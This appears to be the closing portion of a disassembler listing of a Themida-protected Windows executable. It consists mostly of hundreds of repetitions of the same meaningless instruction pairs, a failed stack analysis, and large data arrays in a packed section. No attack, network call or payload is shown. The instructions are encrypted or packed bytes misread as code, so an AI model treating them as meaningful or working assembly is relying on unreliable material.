		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		inc	ecx
		and	ch, [edx-59h]
		lds	ecx, [ecx]
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
sub_5D584B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		mov	dl, 0C2h
		mov	ebx, 0BBC2B209h
		or	[edx-4DF6443Eh], esi
		retn	9BBh
; ---------------------------------------------------------------------------
		db 0B2h, 0C2h, 0BBh
; ---------------------------------------------------------------------------
		or	[edx-4DF6443Eh], esi
		retn	6C47h
; ---------------------------------------------------------------------------
		db 6Ah,	0E3h, 47h
		dd 326h	dup(47E36A6Ch)
		db 6Ch,	6Ah
word_5D738E	dw 47E3h		; DATA XREF: Themida_:0054E610o
		dd 0E3866A6Ch, 2Eh dup(0E3864B32h), 724E4B32h, 82h dup(724ECF7Bh)
		dd 1C4ECF7Bh, 0FBh dup(1CBFE819h), 11321119h, 285h dup(11321161h)
		dd 8FFh	dup(0CCCCCCCCh), 0CCh, 199Fh dup(0)
		db 3 dup(0)
byte_5E0EDF	db 0			; DATA XREF: Themida_:0054D84Co
		align 2000h
Themida_	ends

; Section 5. (virtual address 001E2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001E2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5E2000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start